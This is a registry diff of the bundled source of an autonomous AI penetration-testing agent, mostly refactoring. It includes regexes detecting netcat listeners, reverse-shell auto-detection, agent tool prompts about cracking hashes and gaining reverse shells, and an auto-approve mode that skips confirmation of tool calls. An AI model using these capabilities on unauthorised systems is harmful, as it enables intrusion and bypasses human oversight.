pentesting 0.21.7 → 0.21.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/dist/main.js +1497 -1165
  3. package/package.json +1 -1
package/dist/main.js CHANGED
@@ -13,11 +13,11 @@ import chalk from "chalk";
13
13
  import gradient from "gradient-string";
14
14
 
15
15
  // src/platform/tui/app.tsx
16
- import { useState as useState3, useCallback as useCallback2, useEffect as useEffect3 } from "react";
16
+ import { useState as useState4, useCallback as useCallback3, useEffect as useEffect4 } from "react";
17
17
  import { Box as Box6, useInput, useApp } from "ink";
18
18
 
19
19
  // src/platform/tui/hooks/useAgent.ts
20
- import { useState, useEffect, useCallback, useRef } from "react";
20
+ import { useState as useState2, useEffect as useEffect2, useCallback as useCallback2, useRef as useRef2 } from "react";
21
21
 
22
22
  // src/shared/constants/timing.ts
23
23
  var TOOL_TIMEOUTS = {
@@ -43,6 +43,18 @@ var DISPLAY_LIMITS = {
43
43
  TOOL_INPUT_TRUNCATED: 30,
44
44
  /** Max characters to show in tool output preview */
45
45
  TOOL_OUTPUT_PREVIEW: 200,
46
+ /** Max characters to show in tool output slice (events) */
47
+ TOOL_OUTPUT_SLICE: 80,
48
+ /** Max characters to show in tool error preview (events) */
49
+ TOOL_ERROR_SLICE: 120,
50
+ /** Max characters for delegate output preview */
51
+ DELEGATE_OUTPUT_SLICE: 60,
52
+ /** Max characters for command preview in logs */
53
+ COMMAND_PREVIEW: 100,
54
+ /** Max characters for output summary in agent loop */
55
+ OUTPUT_SUMMARY: 200,
56
+ /** Max characters for error preview in logs */
57
+ ERROR_PREVIEW: 100,
46
58
  /** Max characters for status thought preview */
47
59
  STATUS_THOUGHT_PREVIEW: 60,
48
60
  /** Max characters after truncation for status */
@@ -66,7 +78,19 @@ var DISPLAY_LIMITS = {
66
78
  /** Number of targets to preview in state summary */
67
79
  TARGET_PREVIEW: 3,
68
80
  /** Number of important findings to preview */
69
- FINDING_PREVIEW: 5
81
+ FINDING_PREVIEW: 5,
82
+ /** Number of hashes to preview */
83
+ HASH_PREVIEW: 20,
84
+ /** Number of loot items to preview */
85
+ LOOT_PREVIEW: 30,
86
+ /** Number of recent process events to show */
87
+ RECENT_EVENT_COUNT: 5,
88
+ /** Max links to preview in browser output */
89
+ LINKS_PREVIEW: 20,
90
+ /** Max endpoints to sample */
91
+ ENDPOINT_SAMPLE: 5,
92
+ /** Purpose truncation length */
93
+ PURPOSE_TRUNCATE: 27
70
94
  };
71
95
  var AGENT_LIMITS = {
72
96
  /** Maximum agent loop iterations — generous to allow complex tasks.
@@ -113,11 +137,27 @@ var INPUT_PROMPT_PATTERNS = [
113
137
  /\(Y\/n\)/i
114
138
  ];
115
139
 
140
+ // src/shared/constants/exit-codes.ts
141
+ var EXIT_CODES = {
142
+ /** Successful execution */
143
+ SUCCESS: 0,
144
+ /** General error */
145
+ GENERAL_ERROR: 1,
146
+ /** Command not found */
147
+ COMMAND_NOT_FOUND: 127,
148
+ /** Process killed by SIGALRM (timeout) */
149
+ TIMEOUT: 124,
150
+ /** Process killed by SIGINT (Ctrl+C) */
151
+ SIGINT: 130,
152
+ /** Process killed by SIGTERM */
153
+ SIGTERM: 143
154
+ };
155
+
116
156
  // src/shared/constants/agent.ts
117
157
  var ID_LENGTH = AGENT_LIMITS.ID_LENGTH;
118
158
  var ID_RADIX = AGENT_LIMITS.ID_RADIX;
119
159
  var APP_NAME = "Pentest AI";
120
- var APP_VERSION = "0.21.7";
160
+ var APP_VERSION = "0.21.10";
121
161
  var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
122
162
  var LLM_ROLES = {
123
163
  SYSTEM: "system",
@@ -146,7 +186,11 @@ var SENSITIVE_INPUT_TYPES = [
146
186
  ];
147
187
 
148
188
  // src/shared/utils/id.ts
189
+ var ID_DEFAULT_RADIX = 36;
190
+ var ID_DEFAULT_LENGTH = 6;
149
191
  var generateId = (radix = 36, length = 8) => Math.random().toString(radix).substring(2, 2 + length);
192
+ var generatePrefixedId = (prefix, radix = ID_DEFAULT_RADIX, randomLength = ID_DEFAULT_LENGTH) => `${prefix}_${Date.now()}_${Math.random().toString(radix).slice(2, 2 + randomLength)}`;
193
+ var generateTempFilename = (suffix = "", prefix = "pentest") => `${prefix}-${Date.now()}-${Math.random().toString(ID_DEFAULT_RADIX).slice(2, 2 + ID_DEFAULT_LENGTH)}${suffix}`;
150
194
 
151
195
  // src/shared/constants/protocol.ts
152
196
  var PHASES = {
@@ -410,15 +454,23 @@ var DEFAULTS = {
410
454
  };
411
455
 
412
456
  // src/engine/process-manager.ts
413
- import { spawn as spawn2, execSync } from "child_process";
414
- import { readFileSync as readFileSync2, existsSync as existsSync2, unlinkSync, writeFileSync as writeFileSync2, appendFileSync } from "fs";
457
+ import { spawn as spawn2, execSync as execSync2 } from "child_process";
458
+ import { readFileSync as readFileSync2, existsSync as existsSync3, unlinkSync, writeFileSync as writeFileSync2, appendFileSync } from "fs";
415
459
 
416
460
  // src/engine/tools-base.ts
417
461
  import { spawn } from "child_process";
418
- import { readFileSync, existsSync, writeFileSync, mkdirSync } from "fs";
419
- import { join } from "path";
462
+ import { readFileSync, existsSync as existsSync2, writeFileSync } from "fs";
463
+ import { join, dirname } from "path";
420
464
  import { tmpdir } from "os";
421
465
 
466
+ // src/shared/utils/file-utils.ts
467
+ import { existsSync, mkdirSync } from "fs";
468
+ function ensureDirExists(dirPath) {
469
+ if (!existsSync(dirPath)) {
470
+ mkdirSync(dirPath, { recursive: true });
471
+ }
472
+ }
473
+
422
474
  // src/shared/constants/system.ts
423
475
  var PROCESS_ROLES = {
424
476
  LISTENER: "listener",
@@ -469,6 +521,10 @@ var SYSTEM_LIMITS = {
469
521
  MAX_STDOUT_SLICE: 3e3,
470
522
  /** Maximum characters to show from stderr */
471
523
  MAX_STDERR_SLICE: 500,
524
+ /** Maximum characters for error detail messages */
525
+ MAX_ERROR_DETAIL_SLICE: 200,
526
+ /** Maximum characters for input prompt previews */
527
+ MAX_PROMPT_PREVIEW: 50,
472
528
  /** Maximum characters for input snippets in logs */
473
529
  MAX_INPUT_SLICE: 100,
474
530
  /** Maximum events to keep in process event log */
@@ -486,12 +542,6 @@ var SYSTEM_LIMITS = {
486
542
  /** Port range for API services */
487
543
  API_PORT_RANGE: { MIN: 3e3, MAX: 3500 }
488
544
  };
489
- var EXIT_CODES2 = {
490
- /** SIGINT (Ctrl+C) - 128 + 2 */
491
- SIGINT: 130,
492
- /** SIGTERM - 128 + 15 */
493
- SIGTERM: 143
494
- };
495
545
  var DETECTION_PATTERNS = {
496
546
  LISTENER: /-(?:lvnp|nlvp|lp|p)\s+(\d+)/,
497
547
  HTTP_SERVER: /(?:http\.server|SimpleHTTPServer)\s+(\d+)/,
@@ -1115,11 +1165,11 @@ async function installTool(toolName) {
1115
1165
  globalEventEmitter?.({
1116
1166
  type: COMMAND_EVENT_TYPES.TOOL_INSTALL_FAILED,
1117
1167
  message: `Failed to install: ${toolName}`,
1118
- detail: stderr.slice(0, 200)
1168
+ detail: stderr.slice(0, SYSTEM_LIMITS.MAX_ERROR_DETAIL_SLICE)
1119
1169
  });
1120
1170
  resolve({
1121
1171
  success: false,
1122
- output: `Failed to install ${toolName}: ${stderr.slice(0, 200)}`
1172
+ output: `Failed to install ${toolName}: ${stderr.slice(0, SYSTEM_LIMITS.MAX_ERROR_DETAIL_SLICE)}`
1123
1173
  });
1124
1174
  }
1125
1175
  });
@@ -1169,7 +1219,7 @@ async function runCommand(command, args = [], options = {}) {
1169
1219
  globalEventEmitter?.({
1170
1220
  type: COMMAND_EVENT_TYPES.TOOL_RETRY,
1171
1221
  message: `Retrying command after installing ${toolName}...`,
1172
- detail: command.slice(0, 100)
1222
+ detail: command.slice(0, DISPLAY_LIMITS.COMMAND_PREVIEW)
1173
1223
  });
1174
1224
  }
1175
1225
  return lastResult;
@@ -1179,7 +1229,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
1179
1229
  const timeout = options.timeout ?? TOOL_TIMEOUTS.DEFAULT_COMMAND;
1180
1230
  globalEventEmitter?.({
1181
1231
  type: COMMAND_EVENT_TYPES.COMMAND_START,
1182
- message: `Executing: ${command.slice(0, 100)}${command.length > 100 ? "..." : ""}`
1232
+ message: `Executing: ${command.slice(0, DISPLAY_LIMITS.COMMAND_PREVIEW)}${command.length > DISPLAY_LIMITS.COMMAND_PREVIEW ? "..." : ""}`
1183
1233
  });
1184
1234
  const child = spawn("sh", ["-c", command], {
1185
1235
  timeout,
@@ -1197,7 +1247,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
1197
1247
  inputHandled = true;
1198
1248
  globalEventEmitter?.({
1199
1249
  type: COMMAND_EVENT_TYPES.INPUT_REQUIRED,
1200
- message: `Input required: ${data.trim().slice(0, 50)}`,
1250
+ message: `Input required: ${data.trim().slice(0, SYSTEM_LIMITS.MAX_PROMPT_PREVIEW)}`,
1201
1251
  detail: "Waiting for user input..."
1202
1252
  });
1203
1253
  const promptText = data.trim();
@@ -1237,7 +1287,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
1237
1287
  globalEventEmitter?.({
1238
1288
  type: COMMAND_EVENT_TYPES.COMMAND_FAILED,
1239
1289
  message: `Command failed (exit ${code})`,
1240
- detail: stderr.slice(0, 100)
1290
+ detail: stderr.slice(0, SYSTEM_LIMITS.MAX_INPUT_SLICE)
1241
1291
  });
1242
1292
  resolve({
1243
1293
  success: false,
@@ -1262,7 +1312,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
1262
1312
  }
1263
1313
  async function readFileContent(filePath) {
1264
1314
  try {
1265
- if (!existsSync(filePath)) {
1315
+ if (!existsSync2(filePath)) {
1266
1316
  return {
1267
1317
  success: false,
1268
1318
  output: "",
@@ -1285,10 +1335,8 @@ async function readFileContent(filePath) {
1285
1335
  }
1286
1336
  async function writeFileContent(filePath, content) {
1287
1337
  try {
1288
- const dir = join(filePath, "..");
1289
- if (!existsSync(dir)) {
1290
- mkdirSync(dir, { recursive: true });
1291
- }
1338
+ const dir = dirname(filePath);
1339
+ ensureDirExists(dir);
1292
1340
  writeFileSync(filePath, content, "utf-8");
1293
1341
  return {
1294
1342
  success: true,
@@ -1304,20 +1352,11 @@ async function writeFileContent(filePath, content) {
1304
1352
  }
1305
1353
  }
1306
1354
  function createTempFile(suffix = "") {
1307
- return join(tmpdir(), `pentest-${Date.now()}-${Math.random().toString(ID_RADIX).substring(ID_LENGTH)}${suffix}`);
1355
+ return join(tmpdir(), generateTempFilename(suffix));
1308
1356
  }
1309
1357
 
1310
- // src/engine/process-manager.ts
1311
- var backgroundProcesses = /* @__PURE__ */ new Map();
1312
- var cleanupDone = false;
1313
- var processEventLog = [];
1314
- function logEvent(processId, event, detail) {
1315
- processEventLog.push({ timestamp: Date.now(), processId, event, detail });
1316
- if (processEventLog.length > SYSTEM_LIMITS.MAX_EVENT_LOG) {
1317
- processEventLog.splice(0, processEventLog.length - SYSTEM_LIMITS.MAX_EVENT_LOG);
1318
- }
1319
- }
1320
- function autoDetect(command) {
1358
+ // src/engine/process-detector.ts
1359
+ function detectProcessRole(command) {
1321
1360
  const tags = [];
1322
1361
  let port;
1323
1362
  let role = PROCESS_ROLES.BACKGROUND;
@@ -1365,6 +1404,12 @@ function autoDetect(command) {
1365
1404
  if (tags.length === 0) tags.push(PROCESS_ROLES.BACKGROUND);
1366
1405
  return { tags, port, role, isInteractive };
1367
1406
  }
1407
+ function detectConnection(stdout) {
1408
+ return DETECTION_PATTERNS.CONNECTION.some((p) => p.test(stdout));
1409
+ }
1410
+
1411
+ // src/engine/process-tree.ts
1412
+ import { execSync } from "child_process";
1368
1413
  function discoverChildPids(parentPid) {
1369
1414
  try {
1370
1415
  const result2 = execSync(`pgrep -P ${parentPid} 2>/dev/null || true`, {
@@ -1395,15 +1440,74 @@ function isPidAlive(pid) {
1395
1440
  return false;
1396
1441
  }
1397
1442
  }
1398
- function detectConnection(stdout) {
1399
- return DETECTION_PATTERNS.CONNECTION.some((p) => p.test(stdout));
1443
+ async function killProcessTree(pid, childPids, waitMs = SYSTEM_LIMITS.SHUTDOWN_WAIT_MS) {
1444
+ try {
1445
+ process.kill(-pid, "SIGTERM");
1446
+ } catch {
1447
+ try {
1448
+ process.kill(pid, "SIGTERM");
1449
+ } catch {
1450
+ }
1451
+ }
1452
+ for (const childPid of childPids) {
1453
+ try {
1454
+ process.kill(childPid, "SIGTERM");
1455
+ } catch {
1456
+ }
1457
+ }
1458
+ await new Promise((r) => setTimeout(r, waitMs));
1459
+ if (isPidAlive(pid)) {
1460
+ try {
1461
+ process.kill(-pid, "SIGKILL");
1462
+ } catch {
1463
+ }
1464
+ try {
1465
+ process.kill(pid, "SIGKILL");
1466
+ } catch {
1467
+ }
1468
+ }
1469
+ for (const childPid of childPids) {
1470
+ if (isPidAlive(childPid)) {
1471
+ try {
1472
+ process.kill(childPid, "SIGKILL");
1473
+ } catch {
1474
+ }
1475
+ }
1476
+ }
1477
+ }
1478
+ function killProcessTreeSync(pid, childPids) {
1479
+ try {
1480
+ process.kill(-pid, "SIGKILL");
1481
+ } catch {
1482
+ }
1483
+ try {
1484
+ process.kill(pid, "SIGKILL");
1485
+ } catch {
1486
+ }
1487
+ for (const childPid of childPids) {
1488
+ try {
1489
+ process.kill(childPid, "SIGKILL");
1490
+ } catch {
1491
+ }
1492
+ }
1493
+ }
1494
+
1495
+ // src/engine/process-manager.ts
1496
+ var backgroundProcesses = /* @__PURE__ */ new Map();
1497
+ var cleanupDone = false;
1498
+ var processEventLog = [];
1499
+ function logEvent(processId, event, detail) {
1500
+ processEventLog.push({ timestamp: Date.now(), processId, event, detail });
1501
+ if (processEventLog.length > SYSTEM_LIMITS.MAX_EVENT_LOG) {
1502
+ processEventLog.splice(0, processEventLog.length - SYSTEM_LIMITS.MAX_EVENT_LOG);
1503
+ }
1400
1504
  }
1401
1505
  function startBackgroundProcess(command, options = {}) {
1402
- const processId = `bg_${Date.now()}_${Math.random().toString(36).slice(2, 6)}`;
1506
+ const processId = generatePrefixedId("bg");
1403
1507
  const stdoutFile = createTempFile(".stdout");
1404
1508
  const stderrFile = createTempFile(".stderr");
1405
1509
  const stdinFile = createTempFile(".stdin");
1406
- const { tags, port, role, isInteractive } = autoDetect(command);
1510
+ const { tags, port, role, isInteractive } = detectProcessRole(command);
1407
1511
  let wrappedCmd;
1408
1512
  if (isInteractive) {
1409
1513
  writeFileSync2(stdinFile, "", "utf-8");
@@ -1459,7 +1563,7 @@ async function sendToProcess(processId, input, waitMs = SYSTEM_LIMITS.DEFAULT_WA
1459
1563
  if (proc.hasExited) return { success: false, output: `Process ${processId} has exited`, newOutput: "" };
1460
1564
  let currentLen = 0;
1461
1565
  try {
1462
- if (existsSync2(proc.stdoutFile)) {
1566
+ if (existsSync3(proc.stdoutFile)) {
1463
1567
  currentLen = readFileSync2(proc.stdoutFile, "utf-8").length;
1464
1568
  }
1465
1569
  } catch {
@@ -1473,7 +1577,7 @@ async function sendToProcess(processId, input, waitMs = SYSTEM_LIMITS.DEFAULT_WA
1473
1577
  await new Promise((r) => setTimeout(r, waitMs));
1474
1578
  let fullStdout = "";
1475
1579
  try {
1476
- if (existsSync2(proc.stdoutFile)) {
1580
+ if (existsSync3(proc.stdoutFile)) {
1477
1581
  fullStdout = readFileSync2(proc.stdoutFile, "utf-8");
1478
1582
  }
1479
1583
  } catch {
@@ -1506,7 +1610,7 @@ function isProcessRunning(processId) {
1506
1610
  proc.childPids = discoverAllDescendants(proc.pid);
1507
1611
  if (proc.role === "listener") {
1508
1612
  try {
1509
- if (existsSync2(proc.stdoutFile)) {
1613
+ if (existsSync3(proc.stdoutFile)) {
1510
1614
  const stdout = readFileSync2(proc.stdoutFile, "utf-8");
1511
1615
  if (detectConnection(stdout)) {
1512
1616
  promoteToShell(processId, "Reverse shell connected (auto-detected)");
@@ -1525,7 +1629,7 @@ function getProcessOutput(processId) {
1525
1629
  let stdout = "";
1526
1630
  let stderr = "";
1527
1631
  try {
1528
- if (existsSync2(proc.stdoutFile)) {
1632
+ if (existsSync3(proc.stdoutFile)) {
1529
1633
  const content = readFileSync2(proc.stdoutFile, "utf-8");
1530
1634
  stdout = content.length > SYSTEM_LIMITS.MAX_STDOUT_SLICE ? `... [truncated ${content.length - SYSTEM_LIMITS.MAX_STDOUT_SLICE} chars] ...
1531
1635
  ` + content.slice(-SYSTEM_LIMITS.MAX_STDOUT_SLICE) : content;
@@ -1533,7 +1637,7 @@ function getProcessOutput(processId) {
1533
1637
  } catch {
1534
1638
  }
1535
1639
  try {
1536
- if (existsSync2(proc.stderrFile)) {
1640
+ if (existsSync3(proc.stderrFile)) {
1537
1641
  const content = readFileSync2(proc.stderrFile, "utf-8");
1538
1642
  stderr = content.length > SYSTEM_LIMITS.MAX_STDERR_SLICE ? `... [truncated ${content.length - SYSTEM_LIMITS.MAX_STDERR_SLICE} chars] ...
1539
1643
  ` + content.slice(-SYSTEM_LIMITS.MAX_STDERR_SLICE) : content;
@@ -1554,46 +1658,14 @@ function getProcessOutput(processId) {
1554
1658
  isInteractive: proc.isInteractive
1555
1659
  };
1556
1660
  }
1557
- async function stopProcess(processId) {
1661
+ async function stopBackgroundProcess(processId) {
1558
1662
  const proc = backgroundProcesses.get(processId);
1559
1663
  if (!proc) return { success: false, output: `Process ${processId} not found` };
1560
1664
  const wasActiveShell = proc.role === PROCESS_ROLES.ACTIVE_SHELL;
1561
1665
  const finalOutput = getProcessOutput(processId);
1562
1666
  if (!proc.hasExited) {
1563
1667
  proc.childPids = discoverAllDescendants(proc.pid);
1564
- try {
1565
- process.kill(-proc.pid, "SIGTERM");
1566
- } catch {
1567
- try {
1568
- process.kill(proc.pid, "SIGTERM");
1569
- } catch {
1570
- }
1571
- }
1572
- for (const childPid of proc.childPids) {
1573
- try {
1574
- process.kill(childPid, "SIGTERM");
1575
- } catch {
1576
- }
1577
- }
1578
- await new Promise((r) => setTimeout(r, SYSTEM_LIMITS.SHUTDOWN_WAIT_MS));
1579
- if (isPidAlive(proc.pid)) {
1580
- try {
1581
- process.kill(-proc.pid, "SIGKILL");
1582
- } catch {
1583
- }
1584
- try {
1585
- process.kill(proc.pid, "SIGKILL");
1586
- } catch {
1587
- }
1588
- }
1589
- for (const childPid of proc.childPids) {
1590
- if (isPidAlive(childPid)) {
1591
- try {
1592
- process.kill(childPid, "SIGKILL");
1593
- } catch {
1594
- }
1595
- }
1596
- }
1668
+ await killProcessTree(proc.pid, proc.childPids);
1597
1669
  }
1598
1670
  try {
1599
1671
  unlinkSync(proc.stdoutFile);
@@ -1717,7 +1789,7 @@ async function cleanupAllProcesses() {
1717
1789
  backgroundProcesses.clear();
1718
1790
  for (const name of ORPHAN_PROCESS_NAMES) {
1719
1791
  try {
1720
- execSync(`pkill -f "${name}" 2>/dev/null || true`, { stdio: "ignore", timeout: SYSTEM_LIMITS.PROCESS_OP_TIMEOUT_MS });
1792
+ execSync2(`pkill -f "${name}" 2>/dev/null || true`, { stdio: "ignore", timeout: SYSTEM_LIMITS.PROCESS_OP_TIMEOUT_MS });
1721
1793
  } catch {
1722
1794
  }
1723
1795
  }
@@ -1740,10 +1812,10 @@ function getResourceSummary() {
1740
1812
  const roleIcon = PROCESS_ICONS[p.role] || PROCESS_ICONS[PROCESS_ROLES.BACKGROUND];
1741
1813
  let lastOutput = "";
1742
1814
  try {
1743
- if (p.stdoutFile && existsSync2(p.stdoutFile)) {
1815
+ if (p.stdoutFile && existsSync3(p.stdoutFile)) {
1744
1816
  const content = readFileSync2(p.stdoutFile, "utf-8");
1745
- const lines2 = content.trim().split("\n");
1746
- lastOutput = lines2.slice(-3).join(" | ").replace(/\n/g, " ");
1817
+ const outputLines = content.trim().split("\n");
1818
+ lastOutput = outputLines.slice(-3).join(" | ").replace(/\n/g, " ");
1747
1819
  }
1748
1820
  } catch {
1749
1821
  }
@@ -1767,7 +1839,7 @@ ${STATUS_MARKERS.WARNING} SUSPECTED ZOMBIES (Orphaned Children):`);
1767
1839
  for (const o of orphans) {
1768
1840
  lines.push(` [${o.id}] Exited parent has alive children: ${o.childPids.join(", ")}`);
1769
1841
  }
1770
- lines.push(` \u2192 Recommendation: Run bg_process({ action: "stop", process_id: "ID" }) to clean up entire tree.`);
1842
+ lines.push(` \u2192 Recommendation: Run bg_process({ action: "stop", process_id: "ID" }) to clean up.`);
1771
1843
  }
1772
1844
  if (ports.length > 0) {
1773
1845
  lines.push(`
@@ -1799,20 +1871,7 @@ Ports In Use: ${ports.join(", ")}`);
1799
1871
  function syncCleanupAllProcesses() {
1800
1872
  for (const [, proc] of backgroundProcesses) {
1801
1873
  if (!proc.hasExited) {
1802
- try {
1803
- process.kill(-proc.pid, "SIGKILL");
1804
- } catch {
1805
- }
1806
- try {
1807
- process.kill(proc.pid, "SIGKILL");
1808
- } catch {
1809
- }
1810
- for (const childPid of proc.childPids) {
1811
- try {
1812
- process.kill(childPid, "SIGKILL");
1813
- } catch {
1814
- }
1815
- }
1874
+ killProcessTreeSync(proc.pid, proc.childPids);
1816
1875
  }
1817
1876
  try {
1818
1877
  unlinkSync(proc.stdoutFile);
@@ -1834,13 +1893,14 @@ process.on("exit", () => {
1834
1893
  process.on("SIGINT", () => {
1835
1894
  syncCleanupAllProcesses();
1836
1895
  backgroundProcesses.clear();
1837
- process.exit(EXIT_CODES2.SIGINT);
1896
+ process.exit(EXIT_CODES.SIGINT);
1838
1897
  });
1839
1898
  process.on("SIGTERM", () => {
1840
1899
  syncCleanupAllProcesses();
1841
1900
  backgroundProcesses.clear();
1842
- process.exit(EXIT_CODES2.SIGTERM);
1901
+ process.exit(EXIT_CODES.SIGTERM);
1843
1902
  });
1903
+ var stopProcess = stopBackgroundProcess;
1844
1904
 
1845
1905
  // src/engine/state-serializer.ts
1846
1906
  var StateSerializer = class {
@@ -1952,11 +2012,11 @@ var SharedState = class {
1952
2012
  for (const update of updates) {
1953
2013
  const index = this.data.missionChecklist.findIndex((item) => item.id === update.id);
1954
2014
  if (index !== -1) {
1955
- if (update.remove) {
2015
+ if (update.shouldRemove) {
1956
2016
  this.data.missionChecklist.splice(index, 1);
1957
2017
  } else {
1958
2018
  if (update.text !== void 0) this.data.missionChecklist[index].text = update.text;
1959
- if (update.completed !== void 0) this.data.missionChecklist[index].isCompleted = update.completed;
2019
+ if (update.isCompleted !== void 0) this.data.missionChecklist[index].isCompleted = update.isCompleted;
1960
2020
  }
1961
2021
  }
1962
2022
  }
@@ -2349,23 +2409,23 @@ function getApprovalLevel(toolCall) {
2349
2409
  return APPROVAL_LEVELS.CONFIRM;
2350
2410
  }
2351
2411
  var ApprovalGate = class {
2352
- constructor(autoApprove = false) {
2353
- this.autoApprove = autoApprove;
2412
+ constructor(shouldAutoApprove = false) {
2413
+ this.shouldAutoApprove = shouldAutoApprove;
2354
2414
  }
2355
2415
  /**
2356
2416
  * Set auto-approve mode
2357
2417
  */
2358
2418
  setAutoApprove(enabled) {
2359
- this.autoApprove = enabled;
2419
+ this.shouldAutoApprove = enabled;
2360
2420
  }
2361
2421
  /**
2362
2422
  * Get current auto-approve mode
2363
2423
  */
2364
2424
  isAutoApprove() {
2365
- return this.autoApprove;
2425
+ return this.shouldAutoApprove;
2366
2426
  }
2367
2427
  async request(toolCall) {
2368
- if (this.autoApprove) return { isApproved: true, reason: "Auto-approve enabled" };
2428
+ if (this.shouldAutoApprove) return { isApproved: true, reason: "Auto-approve enabled" };
2369
2429
  const level = getApprovalLevel(toolCall);
2370
2430
  if (level === APPROVAL_LEVELS.AUTO) return { isApproved: true };
2371
2431
  if (level === APPROVAL_LEVELS.BLOCK) return { isApproved: false, reason: "Policy blocked execution" };
@@ -2696,106 +2756,330 @@ All ports freed. All children killed.`
2696
2756
  }
2697
2757
  ];
2698
2758
 
2699
- // src/engine/tools-mid.ts
2700
- import { execFileSync } from "child_process";
2701
-
2702
- // src/shared/utils/config.ts
2703
- import path from "path";
2704
- import { fileURLToPath } from "url";
2705
- var __filename = fileURLToPath(import.meta.url);
2706
- var __dirname = path.dirname(__filename);
2707
- var ENV_KEYS = {
2708
- API_KEY: "PENTEST_API_KEY",
2709
- BASE_URL: "PENTEST_BASE_URL",
2710
- MODEL: "PENTEST_MODEL",
2711
- SEARCH_API_KEY: "SEARCH_API_KEY",
2712
- SEARCH_API_URL: "SEARCH_API_URL"
2713
- };
2714
- var DEFAULT_SEARCH_API_URL = "https://api.search.brave.com/res/v1/web/search";
2715
- function getApiKey() {
2716
- return process.env[ENV_KEYS.API_KEY] || "";
2717
- }
2718
- function getBaseUrl() {
2719
- return process.env[ENV_KEYS.BASE_URL] || void 0;
2720
- }
2721
- function getModel() {
2722
- return process.env[ENV_KEYS.MODEL] || "";
2723
- }
2724
- function getSearchApiKey() {
2725
- return process.env[ENV_KEYS.SEARCH_API_KEY];
2726
- }
2727
- function getSearchApiUrl() {
2728
- return process.env[ENV_KEYS.SEARCH_API_URL] || DEFAULT_SEARCH_API_URL;
2729
- }
2730
- function isBrowserHeadless() {
2731
- return true;
2732
- }
2733
-
2734
- // src/shared/constants/search-api.const.ts
2735
- var SEARCH_URL_PATTERN = {
2736
- GLM: "bigmodel.cn",
2737
- ZHIPU: "zhipuai",
2738
- BRAVE: "brave.com",
2739
- SERPER: "serper.dev"
2740
- };
2741
- var SEARCH_HEADER = {
2742
- CONTENT_TYPE: "Content-Type",
2743
- AUTHORIZATION: "Authorization",
2744
- ACCEPT: "Accept",
2745
- X_SUBSCRIPTION_TOKEN: "X-Subscription-Token",
2746
- X_API_KEY: "X-API-KEY"
2747
- };
2748
- var SEARCH_LIMIT = {
2749
- DEFAULT_RESULT_COUNT: 10,
2750
- MAX_OUTPUT_LINES: 20,
2751
- TIMEOUT_MS: 1e4
2752
- };
2753
-
2754
- // src/shared/utils/debug-logger.ts
2755
- import { appendFileSync as appendFileSync2, mkdirSync as mkdirSync2, existsSync as existsSync3, writeFileSync as writeFileSync3 } from "fs";
2756
- import { join as join2 } from "path";
2757
- var DebugLogger = class _DebugLogger {
2758
- static instance;
2759
- logPath;
2760
- initialized = false;
2761
- constructor(clearOnInit = false) {
2762
- const debugDir = join2(process.cwd(), ".pentesting", "debug");
2763
- try {
2764
- if (!existsSync3(debugDir)) {
2765
- mkdirSync2(debugDir, { recursive: true });
2766
- }
2767
- this.logPath = join2(debugDir, "debug.log");
2768
- if (clearOnInit) {
2769
- this.clear();
2759
+ // src/engine/tools/pentest-state-tools.ts
2760
+ var createStateTools = (state) => [
2761
+ {
2762
+ name: TOOL_NAMES.UPDATE_MISSION,
2763
+ description: `Update the mission summary and checklist.
2764
+ Use this for strategic planning and maintaining long-term context during complex engagements.
2765
+ The mission summary acts as your "long-term memory" \u2014 keep it updated with critical findings and overall progress.
2766
+ The checklist tracks granular steps (e.g., "[ ] Crack hashes", "[x] Recon 10.10.10.5").
2767
+ Mandatory when:
2768
+ - Big goals change
2769
+ - You encounter a major obstacle (firewall, port conflict)
2770
+ - You gain a significant new access point (reverse shell)
2771
+ - You need to summarize findings to prevent context overflow`,
2772
+ parameters: {
2773
+ summary: { type: "string", description: "Updated mission summary (concise overview)" },
2774
+ checklist_updates: {
2775
+ type: "array",
2776
+ items: {
2777
+ type: "object",
2778
+ properties: {
2779
+ id: { type: "string", description: "Item ID (required for update/remove)" },
2780
+ text: { type: "string", description: "Updated text" },
2781
+ completed: { type: "boolean", description: "Completion status" },
2782
+ remove: { type: "boolean", description: "Remove item if true" }
2783
+ },
2784
+ required: ["id"]
2785
+ },
2786
+ description: "Updates to existing checklist items"
2787
+ },
2788
+ add_items: {
2789
+ type: "array",
2790
+ items: { type: "string" },
2791
+ description: "New checklist items to add"
2770
2792
  }
2771
- this.initialized = true;
2772
- this.log("general", "=== DEBUG LOGGER INITIALIZED ===");
2773
- this.log("general", `Log file: ${this.logPath}`);
2774
- } catch (e) {
2775
- console.error("[DebugLogger] Failed to initialize:", e);
2776
- this.logPath = "";
2777
- }
2778
- }
2779
- static getInstance(clearOnInit = false) {
2780
- if (!_DebugLogger.instance) {
2781
- _DebugLogger.instance = new _DebugLogger(clearOnInit);
2793
+ },
2794
+ execute: async (p) => {
2795
+ if (p.summary) state.setMissionSummary(p.summary);
2796
+ if (p.checklist_updates) state.updateMissionChecklist(p.checklist_updates);
2797
+ if (p.add_items) state.addMissionChecklistItems(p.add_items);
2798
+ return {
2799
+ success: true,
2800
+ output: `Mission updated.
2801
+ Summary: ${state.getMissionSummary()}
2802
+ Checklist Items: ${state.getMissionChecklist().length}`
2803
+ };
2782
2804
  }
2783
- return _DebugLogger.instance;
2784
- }
2785
- /** Reset the singleton instance (used by initDebugLogger) */
2786
- static resetInstance(clearOnInit = false) {
2787
- _DebugLogger.instance = new _DebugLogger(clearOnInit);
2788
- return _DebugLogger.instance;
2805
+ },
2806
+ {
2807
+ name: TOOL_NAMES.GET_STATE,
2808
+ description: "Get current engagement state summary",
2809
+ parameters: {},
2810
+ execute: async () => ({ success: true, output: state.toPrompt() })
2789
2811
  }
2790
- log(category, message, data) {
2791
- if (!this.initialized || !this.logPath) return;
2792
- try {
2793
- const timestamp = (/* @__PURE__ */ new Date()).toISOString();
2794
- let logLine = `[${timestamp}] [${category.toUpperCase()}] ${message}`;
2795
- if (data !== void 0) {
2796
- logLine += ` | ${JSON.stringify(data)}`;
2797
- }
2798
- logLine += "\n";
2812
+ ];
2813
+
2814
+ // src/engine/tools/pentest-target-tools.ts
2815
+ var createTargetTools = (state) => [
2816
+ {
2817
+ name: TOOL_NAMES.ADD_TARGET,
2818
+ description: `Register a new target for the engagement.
2819
